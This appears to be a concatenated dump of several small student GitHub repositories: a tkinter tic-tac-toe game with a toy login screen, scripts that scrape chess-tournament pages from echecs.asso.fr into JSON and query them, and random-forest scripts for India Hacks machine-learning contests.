checkNegativeOrZero(int side1, int side2, int side3) { if(side1<=0||side2<=0||side3<=0) return INVALID; else return VALID; } */
c8064f20c990be99ef174d78610303ab4f00b9a5
[ "C" ]
3
C
yipsaiwei/Triangle
ddc3a549b0928bb44ea8b6832548bd2ca8eb7a6b
aae353a498104030e2ef3197c4f2548c153dc839
refs/heads/master
<file_sep>from tkinter import * from tkinter import ttk from winsound import * playerSymbol = 'X' def signin(): global entry1 global entry2 global root root = Tk() root.title('Tic Tac Toe Version 1.0') label1 = Label(root, text="Username") label2 = Label(root, text="Password") entry1 = Entry(root) entry2 = Entry(root, show='*') label1.grid(row=0, column=0) label2.grid(row=1, column=0) entry1.grid(row=0, column=1) entry2.grid(row=1, column=1) check = Checkbutton(root, text="Remember me") button1 = Button(root, text="Play the game!", fg='red', command=checkID) button2 = Button(root, text="Exit Program", fg='blue', command=root.destroy, padx=10) check.grid(row=2, columnspan=2) button1.grid(row=3) button2.grid(row=3, column=1) root.mainloop() def checkID(): id = entry1.get() password = entry2.get() if id == 'Justin' and password == '<PASSWORD>': root.destroy() successful() else: failure() def successful(): root1 = Tk() root1.title('Success!') label = Label(root1, text='Log in successful.\nMoving on to the game') label.configure(anchor="center") label.pack(padx=5, pady=3) button = Button(root1, text='Next', command=root1.destroy) button.pack(pady=5) root1.mainloop() root3 = Tk() Game(root3) root3.mainloop() def failure(): root2 = Tk() root2.title('Failed to log in!') label = Label(root2, text='Wrong Username and Password!') label.configure(anchor="center") label.pack(padx=5, pady=3) label.pack() button = Button(root2, text='Try again', command=root2.destroy) button.pack() root2.mainloop() class Game: def __init__(self, parent): self.parent = parent self.tiles = [] self.startGame() def startGame(self): self.gameFrame = Frame(self.parent) self.parent.title("Tic Tac Toe: Player 1's Turn (X)") self.tiles = [] global playerSymbol playerSymbol = 'X' for i in range(3): for j in range(3): tile = Tile(self.gameFrame, self.checkForWin, self.parent) tile.grid(row=i, column=j) self.tiles.append(tile) self.gameFrame.pack() def checkForWin(self): for x, y, z in [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]: if self.tiles[x].marked == self.tiles[y].marked == self.tiles[z].marked == 'X': self.printResult('Player 1') elif self.tiles[x].marked == self.tiles[y].marked == self.tiles[z].marked == 'O': self.printResult('Player 2') # Check for tie counter = 0 for i in range(9): if not self.tiles[i].marked == '.' and not self.tiles[i].marked == ',': counter += 1 if counter == 9: self.printResult('Tie') def printResult(self, player): for i in range(9): self.tiles[i].marked = ',' root4 = Tk() root4.title('Winner Winner Chicken Dinner!') label = Label(root4) if player == 'Tie': label.config(text='Game Tied!') else: label.config(text=player + ' Won!') label.configure(anchor="center") label.grid(row=0, columnspan=2) button = Button(root4, text='Play again', command=lambda: self.playAgain(root4)) button.grid(row=1, padx=10, pady=10) button2 = Button(root4, text='Close Game', command=lambda: self.closeApp(root4)) button2.grid(row=1,column=1, padx=10, pady=10) root4.mainloop() def closeApp(self, subRoot): subRoot.destroy() self.parent.destroy() def playAgain(self, subRoot): subRoot.destroy() for widget in self.parent.winfo_children(): widget.destroy() self.startGame() class Tile(Label): def __init__(self, parent, checkForWin, root): Button.__init__(self, parent, font=('',30), width=5, height=2, justify='center', relief='raised', bg='blue') self.root = root self.checkForWin = checkForWin self.bind('<Button-1>', self.markSym) self.marked = '.' def markSym(self, event): global playerSymbol if not self.marked == '.': return else: if playerSymbol == 'X': self.config(fg='black') self.root.title("Tic Tac Toe: Player 2's Turn (O)") else: self.config(fg='white') self.root.title("Tic Tac Toe: Player 1's Turn (X)") self.config(text=playerSymbol) self.marked = playerSymbol if playerSymbol == 'X': playerSymbol = 'O' else: playerSymbol = 'X' self.checkForWin() def main(): signin() if __name__ == '__main__': main()
00679e86731da107d809f1c5cbe8b003e56efad5
[ "Python" ]
1
Python
jy3418/TkinterTicTacToe
d681ca7341ee2f7022919f805678d19e548bd99e
30a939f07a39634ca9b8e5f3c66da647c1c30394
refs/heads/master
<file_sep>import json from operator import itemgetter PARTICIPANTS_PATH = "./participants/" RESULTATS_PATH = "./resultats/" STATISTIQUES_PATH = "./statistiques/" TOURNOIS_PATH = "./tournois/" choices = { 1: "Tous les tournois auquel un joueur a participé ?", 2: "Un classement des joueurs par rapport à leur nombre de tournois gagnés ?", 3: "Un classement des joueurs qui jouent le plus sur une période ?", 4: "Les clubs les plus actifs dans les tournois ?", 5: "Trouver le tournois grace à son ID" } question = "Que voulez-vous ?\n" for num, choice in choices.items(): question += "%s - %s\n" % (num, choices[num]) userChoice = int(input(question)) def get_stats_of_player(player_name): r = 0 with open(PARTICIPANTS_PATH + "participants.json", "r", encoding="utf-8") as json_file: data = json.load(json_file) for key in data.keys(): elements = data[key] for element in elements: if element["Nom"].upper() == player_name.upper(): r += 1 return r def get_rank_victory_player(): with open(RESULTATS_PATH+"resultats.json", "r", encoding="utf-8") as json_file: tournaments = json.load(json_file) rank = {} # Pour chaque tournoi, on doit récupérer le premier au classement for number_tournament in tournaments.keys(): tournament = tournaments[number_tournament] if len(tournament) > 0: first_place = tournament[0] name_player = first_place.get("Nom") if name_player: if rank.get(name_player) is None: rank[name_player] = 1 else: rank[name_player] += 1 return rank def get_rank_clubs(): with open(STATISTIQUES_PATH+"stats.json", "r", encoding="utf-8") as json_file: tournaments = json.load(json_file) rank = {} # Pour chaque tournoi, on parcours la répartition des clubs for number_tournament in tournaments.keys(): tournament = tournaments[number_tournament] if len(tournament) > 0: repart_club = tournament.get("Répartition par clubs") if repart_club is not None: for club in repart_club.keys(): if rank.get(club) is None: rank[club] = 1 else: rank[club] += 1 return rank def define_action(choice): # Stats d'un joueur if choice == 1: name_of_player = input("Entrez le nom du joueur : ") r = get_stats_of_player(name_of_player) s = "Le joueur {} a participé à {} tournoi(s).".format(name_of_player, r) print(s) # Classement des joueurs par victoire elif choice == 2: r = get_rank_victory_player() for key, value in sorted(r.items(), key=itemgetter(1), reverse=True): print(value, key) elif choice == 3: print("choix non implémenté") # Club les plus actifs elif choice == 4: r = get_rank_clubs() for key, value in sorted(r.items(), key=itemgetter(1), reverse=True): print(value, key) elif choice == 5: with open(TOURNOIS_PATH + 'tournois.json') as json_data: tournois = json.load(json_data) mdpe = input("Entrez le numero du tournois : ") print(tournois[mdpe]) define_action(userChoice) <file_sep>from bs4 import BeautifulSoup from os import listdir from os.path import isfile, join import re import json resultats_obj = {} def create_correspondance_categories(categories): iteration = 0 nb_elements = len(categories) - 1 correspondances = {} while iteration <= nb_elements: correspondances[iteration] = categories[iteration] def generate_json_from_html(filename): """ Génère l'objet JSON associé au fichier passé en paramètre :param filename: nom du fichier à traiter """ with open("html/%s.html" % filename, "r", encoding="utf-8", errors="ignore") as html: resultats_obj[filename] = [] # dictionnaire contenant les resultats du tournoi soup = BeautifulSoup(html, "html.parser") # on récupère le premier élément table du fichier table = soup.find_all("table", limit=1) table_content = table[0].find("table") # le contenu réel se trouve dans une table à l'intérieur de notre table # On vérifie que le contenu n'est pas null (si null ==> pas de résultat pour ce tournoi) if table_content is not None: # on récupère les différentes catégories du tableau tr_categories = table_content.find_all("tr", attrs={"class": "papi_small_t"}) categories = {} results = [] # contient l'ensemble des résultats du tableau for tr_categorie in tr_categories: td_categories = tr_categorie.find_all("td") for td_categorie in td_categories: categ = re.sub("\s\s+", "", td_categorie.text).replace("\n", "") if categ: categories[categ] = "" # on récupère les lignes de résultats tr_rank_list = table_content.find_all("tr", attrs={"class": ["papi_small_f", "papi_small_c"]}) # Pour chaque lignes, on va récupérer les valeurs associées à chaque catégorie récupérée for tr in tr_rank_list: newCat = {} # les valeurs sont contenues dans les balises td ayant la classe "papi_r" td_list = tr.find_all("td") iteration = 0 for key in categories.keys(): if iteration == 1: iteration += 1 if key == "Fede": name_file = td_list[iteration].img.attrs["src"] ext = name_file.split("/")[1].split(".")[0] newCat[key] = ext else: newCat[key] = td_list[iteration].text.strip() iteration += 1 results.append(newCat) if len(results) > 0: resultats_obj[filename] = results def save_json(): """ Sauvegarde des données dans le fichier resultats.json """ with open("resultats.json", "w", encoding="utf-8", errors="ignore") as output: json.dump(resultats_obj, output, indent=4, ensure_ascii=False) files = [f for f in listdir("html") if isfile(join("html", f))] for file in files: filename = file.replace(".html", "") # on génère notre fichier json generate_json_from_html(filename) save_json() <file_sep>from bs4 import BeautifulSoup import re import json from os import listdir from os.path import isfile, join stats_obj = {} # objet contenant l'ensemble des statistiques def generate_json_from_html(filename): """ Génère l'objet JSON associé au fichier passé en paramètre :param filename: nom du fichier à traiter """ with open("html/%s.html" % filename, "r", encoding="utf-8", errors="ignore") as html: stats_obj[filename] = {} # dictionnaire contenant les stats du tournoi repartitions = {} soup = BeautifulSoup(html, "html.parser") # on récupère le premier élément table du fichier table = soup.find_all("table", limit=1) table_content = table[0].find("table") # on cible le conteneur qui contient réellement l'information if table_content is not None: # on récupère tous les types de répartitions trs = table_content.find_all("tr", attrs={"class": "papi_liste_t"}) for tr in trs: # On supprime les espaces vides de chaque string repartition_name = tr.td.text.replace("\n", "").strip() pattern = re.compile("Répartition par (.*)") # on vérifie qu'il s'agit bien d'une répartition avec du pattern matching (pas toujours le cas) if pattern.match(repartition_name): repartitions[repartition_name] = {} # une fois une répartition trouvée, tous les tr suivant sont soit des réponses soit des nouvelles # répartition. On parcours tous les tr voisins pour récupérer leurs valeurs jusqu'à tomber # sur une nouvelle répartition new_repartition = False # on prend ensuite le tr voisin pour récupérer les réponses associées next_tr = tr.find_next_sibling("tr") if next_tr is not None: dict_tuple = () # tuple de tuples # Les réponses peuvent être dans plusieurs tr. Du coup, on itère jusqu'à # passer à une autre catégorie while not new_repartition: td_tuple = () # tuple de td td_values_array = [] # On récupère tous les td contenus à l'intérieur du tr (forme un tuple) td_values = next_tr.find_all("td", attrs={"class": "papi_liste_c"}) for td in td_values: content = td.text.replace("\n", "").replace(":", "").strip() if content: td_values_array.append(content) td_tuple = (*td_tuple, content) # Si notre tableau est vide, on ne l'ajoute pas if len(td_values_array) > 0: dict_tuple = (*dict_tuple, td_tuple) # Une fois tous les td parcours, on passe au tr suivant next_tr = next_tr.find_next_sibling("tr") if next_tr is not None: # On vérifie que l'on a pas récupérer un nouvelle catégorie via l'attribut classe if next_tr.has_attr('class'): if next_tr['class'] == ['papi_liste_t']: new_repartition = True else: new_repartition = False else: new_repartition = False else: new_repartition = True repartitions[repartition_name] = dict((x, y) for x, y in dict_tuple) stats_obj[filename] = repartitions def save_json(): """ Sauvegarde des données dans le fichier stats.json """ with open("stats.json", "w", encoding="utf-8", errors="ignore") as output: json.dump(stats_obj, output, indent=4, ensure_ascii=False, sort_keys=True) # On récupère tous les fichiers du répertoire files = [f for f in listdir("html") if isfile(join("html", f))] for file in files: filename = file.replace(".html", "") # on génère notre fichier json generate_json_from_html(filename) save_json() <file_sep># README.md Si le dossier `html` n'est pas présent (ou vide) ou que le fichier `participants.json` n'existe pas alors il faut lancer le script `scrapDataParticipants.py` pour récupérer des données. Vous pouvez modifier la valeur `NB_MAX_DATA (500 par défaut)` pour récupérer le nombre de page souhaité. Ensuite si vous détenez des données, vous pouvez lancer le script `searchParticipants.py` pour interroger les données.<file_sep>import requests import time import os from os import path as os_path rangeID = 20 minID = 30000 ROOT_PATH = os_path.abspath(os_path.split(__file__)[0]) for idT in range(minID,(minID+rangeID)): response = requests.get("http://echecs.asso.fr/FicheTournoi.aspx?Ref="+str(idT)) html = open(ROOT_PATH + "/html/"+str(idT)+".html", "w") html.write(str(response.content)) html.close time.sleep(3) print("Telechargement DONE")<file_sep># TOURNOIS ## Récupération source HTML Pour pouvoir générer un jeu de données, il faut exécuter le script `script_tournois.py` avec la commande suivante : ``` python script_resultats.py ``` Dans le script vous pouvez modifier la valeur de range ID pour avoir plus de données Un dossier `html` contenant toutes les pages récupérées sera généré. ## Génération JSON Pour générer le fichier `tournois.json`, il suffit d'exécuter le script `scrap_tournois.py` <file_sep># Résultats ## Récupération source HTML Pour pouvoir générer un jeu de données, il faut exécuter le script `script_resultats.py` avec la commande suivante : ``` python script_resultats.py ``` Un dossier `html` contenant toutes les pages récupérées sera généré. ## Génération JSON Pour générer le fichier `resultats.json`, il suffit d'exécuter le script `scrap_resultats.py` <file_sep>from bs4 import BeautifulSoup import justext from pathlib2 import Path import json import os from os import path as os_path def nettoyer_espaces(s): s = s.replace('\r', '') s = s.replace('\t', ' ') s = s.replace('\f', ' ') s = s.replace('\n', ' ') return s # variables MAX_ID = 30020 TAB = [] ROOT_PATH = os_path.abspath(os_path.split(__file__)[0]) # path outPath = ROOT_PATH + "/tournois.json" inPath = ROOT_PATH globalDict = dict() # traitement for p in Path(inPath).iterdir(): #recuperation id tournois idT = str(p).replace(".html","") idT = str(idT).replace("tournois/","") mon_fichier = open(str(p), "r") contenu = mon_fichier.read() soup = BeautifulSoup(contenu, 'html.parser') desc = soup.find('table') tr = desc.find_all_next("tr") first = True second = True data = dict() for eltTR in tr: for eltTD in eltTR: if(eltTD.string is not None): t = eltTD.string if(eltTD.string is not None or eltTD.contents): if(eltTD.string.replace('\n','')): if(first): data["nom"] = str(eltTD.string.encode('utf-8').strip()) first=False elif(second): data["lieu"] = str(eltTD.string.encode('utf-8').strip()) second=False elif(eltTD.attrs and not eltTD.span): if(eltTD.attrs['align']): lastKey = nettoyer_espaces(eltTD.string).encode('utf-8').strip() else : if(eltTD.span is not None or eltTD.contents): # on nettoie la chaine de carateres if(eltTD.contents): tmp = '' for t in eltTD.contents: tmp += t.string else : tmp = nettoyer_espaces(eltTD.span.string) data[lastKey] = str(tmp.encode('utf-8').strip()) lastKey = "" else : tmp = '' for elt in eltTD.contents: tmp += elt.encode('utf-8').strip() paragraphs = justext.justext(tmp, justext.get_stoplist("French")) tmp='' for p in paragraphs: #print(p.text) tmp += p.text.encode('utf-8').strip() if(lastKey != ""): data[lastKey] = tmp else: lastKey = tmp globalDict[idT] = data with open("./tournois.json", 'w') as f: json.dump(globalDict, f, indent=4, ensure_ascii=False, sort_keys=True) print("DONE")<file_sep>from os import path as os_path import os import json from termcolor import colored ROOT_PATH = os_path.abspath(os_path.split(__file__)[0]) def getStatsOfOnePlayer(playerName): r = 0 with open(ROOT_PATH + "/participants.json") as json_file: data = json.load(json_file) for key in data.keys(): elements = data[key] for element in elements: if element["Nom"].upper() == playerName.upper(): r += 1 return r def getStatsOfAllPlayers(): r = dict() with open(ROOT_PATH + "/participants.json") as json_file: data = json.load(json_file) for key in data.keys(): item = data[key][0] name = item["Nom"] if name in r: r[name] = r[name] + 1 else: r[name] = 1 return r # Search QUESTION = "Que voulez-vous ?\n- 1: Stats de tous les joueurs\n- 2: Stats d'un joueur\n- 3: Exit\n" userChoice = int(input(QUESTION)) if userChoice == 1: r = getStatsOfAllPlayers() for key in r.keys(): i = r[key] s = "Le joueur {} a participé à {} tournoi(s).".format(key, i) print(colored(s, "blue")) else: if userChoice == 2: nameOfPlayer = input("Entrez le nom du joueur : ") r = getStatsOfOnePlayer(nameOfPlayer) s = "Le joueur {} a participé à {} tournoi(s).".format(nameOfPlayer, r) print(colored(s, "blue")) else: print(colored("Au revoir !", "green"))<file_sep># Imports from bs4 import BeautifulSoup import requests import os from os import path as os_path import shutil import justext import json import time from termcolor import colored import progressbar ROOT_PATH = os_path.abspath(os_path.split(__file__)[0]) NB_MAX_DATA = 500 NB_COLUMN_TO_GET = 7 # Functions def savePageHTML(idTournois): url = "http://echecs.asso.fr/Resultats.aspx?URL=Tournois/Id/{0}/{0}&Action=Ls".format(idTournois) soup = BeautifulSoup(requests.get(url).text,"lxml") path = ROOT_PATH + "/html/{0}.html".format(idTournois) f = open(path, "w+") f.write(soup.prettify()) f.close() def createFolder(): folders = os.listdir(ROOT_PATH) folderToCreate = ROOT_PATH + "/html" if nbFilesHTML() != NB_MAX_DATA: if "html" in folders: print(colored("Suppression du dossier html et de son contenu", "green")) shutil.rmtree(folderToCreate) print(colored("Création du dossier html", "green")) os.mkdir(folderToCreate) print(colored("Enregistrement des fichiers HTML", "green")) bar = progressbar.ProgressBar(NB_MAX_DATA) bar.update(0) progress = 1 for i in range(30000, (30000+NB_MAX_DATA)): savePageHTML(i) time.sleep(1) bar.update(progress) progress += 1 def pageExists(soupInstance): data = soupInstance.find("span", {"id":"ctl00_ContentPlaceHolderMain_LabelError"}) return data is None def nbFilesHTML(): try: elements = os.listdir(ROOT_PATH + "/html") return len(elements) except Exception: return 0 def concatArray(a1, a2): r = [] for i in range(max([len(a1), len(a2)])): r.append(a1[i]) if i < len(a2): r.append(a2[i]) return r def runApp(): TABLE_HEADER = [] TABLE_CONTENT = [] RESULT_JSON = dict() bar = progressbar.ProgressBar(NB_MAX_DATA) bar.update(0) progress = 1 for fileHTML in os.listdir(ROOT_PATH + "/html"): idTournois = fileHTML.split(".")[0] f = open(ROOT_PATH + "/html/" + fileHTML, "r") soup = BeautifulSoup(f.read(), "lxml") if pageExists(soup): header = soup.find("tr", {"class":"papi_liste_t"}) paragraphs = justext.justext(header.prettify(), justext.get_stoplist("English")) if len(paragraphs) == NB_COLUMN_TO_GET + 1: del paragraphs[1] if len(paragraphs) != NB_COLUMN_TO_GET: raise Exception("Il n'y a pas le nombre de colonnes requises. Attendu: {} - Trouvé: {}. idTournois: {}".format(NB_COLUMN_TO_GET, len(header), idTournois)) for p in paragraphs: TABLE_HEADER.append(p.text) papi_liste_f = soup.findAll("tr", {"class":"papi_liste_f"}) papi_liste_c = soup.findAll("tr", {"class":"papi_liste_c"}) papi_liste_final = concatArray(papi_liste_f, papi_liste_c) for e in papi_liste_final: elements = BeautifulSoup(e.prettify(), "lxml") paragraphs = elements.findAll("td") if len(paragraphs) == NB_COLUMN_TO_GET + 1: del paragraphs[1] if len(paragraphs) != NB_COLUMN_TO_GET: raise Exception("Il n'y a pas le nombre de colonnes requises. Attendu: {} - Trouvé: {}. idTournois: {}".format(NB_COLUMN_TO_GET, len(header), idTournois)) r = dict() for i in range(len(paragraphs)): if i == 2: try: dataSplit = justext.justext(paragraphs[i].text, justext.get_stoplist("English"))[0].text.split(" ") r[TABLE_HEADER[i]] = dataSplit[0] r["Type_classement"] = dataSplit[1] except Exception as e: r[TABLE_HEADER[i]] = None r["Type_classement"] = None else: if i == 3: try: data = justext.justext(paragraphs[i].text, justext.get_stoplist("English"))[0].text r[TABLE_HEADER[i]] = data[0:(len(data)-2)] r["Sexe"] = data[-1] except Exception as e: r[TABLE_HEADER[i]] = None r["Sexe"] = None else: if i == 4: s = BeautifulSoup(paragraphs[i].prettify(), "lxml") filename = s.findAll("img")[0].attrs["src"] ext = filename.split("/")[1].split(".")[0] r[TABLE_HEADER[i]] = ext else: try: r[TABLE_HEADER[i]] = justext.justext(paragraphs[i].text, justext.get_stoplist("English"))[0].text except Exception as e: r[TABLE_HEADER[i]] = None TABLE_CONTENT.append(r) RESULT_JSON[idTournois] = TABLE_CONTENT TABLE_CONTENT = [] else: print(colored("\nLa page {} ne contient pas de données".format(idTournois), "red")) bar.update(progress) progress += 1 # Save JSON with open(ROOT_PATH + "/participants.json", "w+") as fp: json.dump(RESULT_JSON, fp, indent=4, ensure_ascii=False, sort_keys=True) def main(): # Recuperation des fichiers HTML createFolder() # Lecture des fichiers runApp() # Execution du main main()<file_sep>import json import re from _datetime import datetime question = "Que voulez-vous vous ?\n 1 - Stats par année civile ?\n 2 - Stats par année sportive ?\n" userChoice = int(input(question)) def get_tournois(): with open("./tournois/tournois.json", "r", encoding="utf-8") as json_file: data = json.load(json_file) return data def get_participants(): with open("./participants/participants.json", "r", encoding="utf-8") as json_file: data = json.load(json_file) return data def get_resultats(): with open("./resultats/resultats.json", "r", encoding="utf-8") as json_file: data = json.load(json_file) return data def get_stats_per_year(): stats = {} # on récupère les tournois, participants tournois = get_tournois() # on récupère le nombre de joueur tournoi_participants = get_participants() # on récupère les résultats resultats = get_resultats() # on récupère les dates des tournois for num_tournoi in tournois.keys(): tournoi = tournois[num_tournoi] if tournoi is not None: # on récupère les dates du tournoi dates = tournoi.get("Dates :") if dates and dates is not None: # on récupère les participants de ce tournoi participants = tournoi_participants.get(num_tournoi) resultats_participants = resultats.get(num_tournoi) # on prend le dernier mot de la date pour connaitre l'année year = dates.split()[-1] if year: if stats.get(year) is None: stats[year] = {} stats[year]["tournois"] = 1 else: stats[year]["tournois"] += 1 if participants is not None: # on ajoute les participants for participant in participants: if stats[year].get("participants") is None: stats[year]["participants"] = 1 else: stats[year]["participants"] += 1 if resultats_participants is not None: for resultat in resultats_participants: # on calcule le nombre round par resultat pattern = re.compile("R (.*)") nb_round = 0 for key in resultat.keys(): if pattern.match(key): nb_round += 1 if stats[year].get("nb_parties") is None: stats[year]["nb_parties"] = nb_round else: stats[year]["nb_parties"] += nb_round return stats def get_stats_per_season(): stats = {} # on récupère les tournois, participants tournois = get_tournois() # on récupère le nombre de joueur tournoi_participants = get_participants() # on récupère les résultats resultats = get_resultats() # on récupère les dates des tournois for num_tournoi in tournois.keys(): tournoi = tournois[num_tournoi] if tournoi is not None: # on récupère les dates du tournoi dates = tournoi.get("Dates :") if dates and dates is not None: # on récupère les participants de ce tournoi participants = tournoi_participants.get(num_tournoi) resultats_participants = resultats.get(num_tournoi) # on prend le dernier mot de la date pour connaitre l'année date = dates.split(" - ")[0].strip() date_obj = datetime.strptime(date, "%A %d %B %Y") return stats if userChoice == 1: # stats par année civile r = get_stats_per_year() for key, value in r.items(): print(key, value) elif userChoice == 2: # stats par année sportive print("choix non implémenté") <file_sep># Statistiques ## Récupération source HTML Pour pouvoir générer un jeu de données, il faut exécuter le script `script_statistiques.py` avec la commande suivante : ``` python script_statistiques.py ``` Un dossier `html` contenant toutes les pages récupérées sera généré. ## Génération JSON Pour générer le fichier `statistiques.json`, il suffit d'exécuter le script `scrap_statistiques.py` <file_sep>import requests from bs4 import BeautifulSoup import os import time start_tournoi = 30000 end_tournoi = start_tournoi + 21 def save_html(content, filename): """ Sauvegarde le contenu passé en paramètre dans un fichier HTML :param content: contenu à sauvegarder :param filename: nom du fichier HTML à créer """ # On crée le dossier html s'il n'existe pas if not os.path.exists("html"): os.makedirs("html") with open("html/%s.html" % filename, "w", encoding="utf-8", errors="ignore") as html: html.write(content) print("Début téléchargement des résultats") for id_tournoi in range(start_tournoi, end_tournoi): print("récupération des résultats du tournoi n°%s" % id_tournoi) response = requests.get("http://echecs.asso.fr/Resultats.aspx?URL=Tournois/Id/%s/%s&Action=Ga" % (id_tournoi, id_tournoi)) soup = BeautifulSoup(response.content, "html.parser") save_html(soup.prettify(), id_tournoi) # on attend 1s entre chaque requête time.sleep(1) print("Téléchargement des résultats terminé") <file_sep># WebScrapping - Tournois d'échec ## Pré-requis * BeautifulSoup => apt-get install python3-bs4 * Requests => pip install requests * JustText => pip install jusText * TermColor => pip install termcolor * ProgressBar => pip install progressbar2 * PathLib2 => pip install pathlib2 ## Récupération d'un jeu de données et génération des fichiers JSON Pour utiliser le requêteur (fichier `requeteur.py`), il faut exécuter les scripts de chaque répertoire au préalable pour générer les fichiers json utilisés pour les statistiques. Détails des scripts : * script_* : permet de récupérer les différentes pages html des tournois * scrap_* : génération d'un fichier json associé à chaque répertoire ATTENTION : Seul le dossier participants ne contient pas de fichier script_*. Tous les traitements de récupération des données et de génération du json se fait via le script `scrapDataParticipants.py` ## Utilisation du requêteur Avec le requêteur, vous pouvez demander des statistiques rapides tels que : * La liste de tous les tournois auquel un joueur a participé * Un classement des joueurs par rapport à leur nombre de tournois gagnés * Liste des clubs les plus actifs dans les tournois
87477a10542f43b86c497ef11cd838b8ed40bf20
[ "Markdown", "Python" ]
14
Python
rundimecoteach/web3_FortSnickers
5bc6d69f295eb22bbf40dc9e544b4c8766d422b4
58ef830cbd7e85efa2f60b5ec15ee20de68c4283
refs/heads/master
<repo_name>anu0012/india-hacks-machine-learning-2017<file_sep>/indiahacks-here.py from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import GridSearchCV import numpy as np import pandas as pd from scipy.stats import randint as sp_randint from sklearn import svm from sklearn.ensemble import GradientBoostingClassifier from sklearn.ensemble import VotingClassifier from sklearn.linear_model import LogisticRegression from sklearn.naive_bayes import GaussianNB from sklearn.ensemble import BaggingClassifier from sklearn.ensemble import ExtraTreesClassifier from sklearn.ensemble import AdaBoostClassifier from sklearn.tree import DecisionTreeClassifier train = pd.read_csv("train.csv") test = pd.read_csv("test.csv") mapping = {'Front':0, 'Left':1, 'Rear':2, 'Right':3} train = train.replace({'DetectedCamera':mapping}) test = test.replace({'DetectedCamera':mapping}) mapping = {'Front':0, 'Left':1, 'Rear':2, 'Right':3} train = train.replace({'SignFacing (Target)':mapping}) labels_train = train['SignFacing (Target)'] test_id = test['Id'] #drop columns train.drop(['SignFacing (Target)','Id'], inplace=True, axis=1) test.drop('Id',inplace=True,axis=1) # param_dist = {"max_depth": [3, None], # "max_features": sp_randint(1, 11), # "min_samples_split": sp_randint(1, 11), # "min_samples_leaf": sp_randint(1, 11), # "bootstrap": [True, False], # "criterion": ["gini", "entropy"]} # param_grid = {"max_depth": [3, None], # "max_features": [1, 3, 5], # "min_samples_split": [5, 3, 10], # "min_samples_leaf": [1, 3, 10], # "bootstrap": [True, False], # "criterion": ["gini", "entropy"]} # previous best score - 99.90094 for mapping = {'Front':0, 'Left':1, 'Rear':2, 'Right':3} clf1 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =15, max_features = 4, min_samples_leaf = 8,min_samples_split=5) clf2 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =70, max_features = "auto", min_samples_leaf = 30) clf3 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =35, max_features = 4, min_samples_leaf = 17) #clf4 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =35, max_features = "auto", min_samples_leaf = 15) #clf5 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state = 0, max_features = "auto", min_samples_leaf = 5) eclf = VotingClassifier(estimators=[('rf', clf1), ('rf', clf2), ('rf', clf3)], voting='soft') #clf = svm.SVC() # clf1 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =15, max_features = "auto", min_samples_leaf = 5) # clf2 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =70, max_features = "auto", min_samples_leaf = 30) # clf3 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =35, max_features = "auto", min_samples_leaf = 15) # clf4 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =5, max_features = "auto", min_samples_leaf = 5) # clf5 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state = 0, max_features = "auto", min_samples_leaf = 5) # clf5 = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1,random_state =68, max_features = "auto", min_samples_leaf = 29) #clf4 = GradientBoostingClassifier(n_estimators=500, learning_rate=1.0,max_depth=1, random_state=0) #clf = RandomForestClassifier(n_estimators = 1000, oob_score = True, n_jobs = -1, max_features = 0.5, min_samples_leaf = 30,random_state =70) # grid_search = GridSearchCV(clf, param_grid=param_grid) # grid_search.fit(train, labels_train) #eclf = VotingClassifier(estimators=[('rf', clf1), ('rf', clf2), ('rf', clf3), ('rf', clf4), ('rf', clf5)], voting='soft') # clf = RandomForestClassifier(criterion='gini', # n_estimators=500, # min_samples_split=5, # min_samples_leaf=3, # max_features='auto', # oob_score=True, # random_state=10, # n_jobs=-1) eclf.fit(train,labels_train) pred = eclf.predict_proba(test) columns = ['Front','Left','Rear','Right'] sub = pd.DataFrame(data=pred, columns=columns) sub['Id'] = test_id sub = sub[['Id','Front','Left','Rear','Right']] sub.to_csv('india_hacks_here_maps_result.csv', index=False, float_format='%0.6f') <file_sep>/india_hacks_hotstar.py from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import roc_auc_score, make_scorer from sklearn.model_selection import train_test_split from sklearn.model_selection import GridSearchCV from sklearn.ensemble import GradientBoostingClassifier from sklearn.ensemble import AdaBoostClassifier from sklearn.ensemble import VotingClassifier import numpy as np import pandas as pd import json import re file_name_1 = "train_data.json" with open(file_name_1, 'r') as jsonfile1: data_dict_1 = json.load(jsonfile1) file_name_2 = "test_data.json" with open(file_name_2, 'r') as jsonfile2: data_dict_2 = json.load(jsonfile2) train = pd.DataFrame.from_dict(data_dict_1, orient='index') train.reset_index(level=0, inplace=True) train.rename(columns = {'index':'ID'},inplace=True) test = pd.DataFrame.from_dict(data_dict_2, orient='index') test.reset_index(level=0, inplace=True) test.rename(columns = {'index':'ID'},inplace=True) train = train.replace({'segment':{'pos':1,'neg':0}}) train['g1'] = [re.sub(pattern='\:\d+',repl='',string=x) for x in train['genres']] train['g1'] = train['g1'].apply(lambda x: x.split(',')) train['g2'] = [re.sub(pattern='\:\d+', repl='', string = x) for x in train['dow']] train['g2'] = train['g2'].apply(lambda x: x.split(',')) t1 = pd.Series(train['g1']).apply(frozenset).to_frame(name='t_genre') t2 = pd.Series(train['g2']).apply(frozenset).to_frame(name='t_dow') for t_genre in frozenset.union(*t1.t_genre): t1[t_genre] = t1.apply(lambda _: int(t_genre in _.t_genre), axis=1) for t_dow in frozenset.union(*t2.t_dow): t2[t_dow] = t2.apply(lambda _: int(t_dow in _.t_dow), axis = 1) train = pd.concat([train.reset_index(drop=True), t1], axis=1) train = pd.concat([train.reset_index(drop=True), t2], axis=1) # for test data test['g1'] = [re.sub(pattern='\:\d+',repl='',string=x) for x in test['genres']] test['g1'] = test['g1'].apply(lambda x: x.split(',')) test['g2'] = [re.sub(pattern='\:\d+', repl='', string = x) for x in test['dow']] test['g2'] = test['g2'].apply(lambda x: x.split(',')) t1_te = 